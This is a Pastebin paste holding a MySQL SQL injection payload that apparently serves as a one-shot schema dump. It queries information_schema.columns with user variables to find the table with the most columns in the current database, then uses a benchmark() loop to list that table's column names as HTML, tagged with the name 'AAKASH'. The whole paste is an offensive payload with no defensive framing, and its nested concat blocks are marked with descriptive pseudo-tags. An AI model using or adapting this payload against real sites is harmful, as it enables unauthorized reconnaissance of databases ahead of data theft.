Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- concat
- (
- '<br><font color=blue>AAKASH ::: </font>',version(),
- (select (@a) from (select (@a:=0x00),(@tbl:=0x00),(@c:=0x00),(@c_max:=0x00),(@c_max_t_name:=0x00),
- ( select (@a) from information_schema.columns where table_schema=database() and(@a) in
- (@a:=concat
- (
- @a,
- if( length(@tbl:=table_name)>0,
- if( (@c:=(select count(column_name) from information_schema.columns where table_schema=database() and table_name=@tbl) )>@c_max,
- if( (@c_max:=@c)>0,
- if( (@c_max_t_name:=@tbl)>0,0x00,0x00),0x00),0x00),0x00)
- )
- )
- )
- )
- a),
- <1st concat start>
- concat
- (
- '<br><font color=red>',@c_max_t_name,'</font> is table with most columns <font color=red>(',@c_max,'):</font><font color=black> ',
- <2nd concat start>
- concat
- (
- @clm:=0x00,@tbl_o:=0x00,@num:=0x00,
- if (
- <benchmark start>
- benchmark
- (
- @c_max,@tbl_o:=<3rd concat start>
- concat
- (
- @tbl_o,
- '<br>',
- LPAD(@num:=@num%2b1,2,0x30),0x2e20,
- (select (@clm:=column_name) from information_schema.columns where table_name=@c_max_t_name and column_name
- >@clm order by column_name limit 1)
- )
- </3rd concat end>
- )
- =0
- </benchmark end>
- ,@tbl_o,0x00 ),
- '<br>')
- </2nd concat end>
- )
- </1st concat end>
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement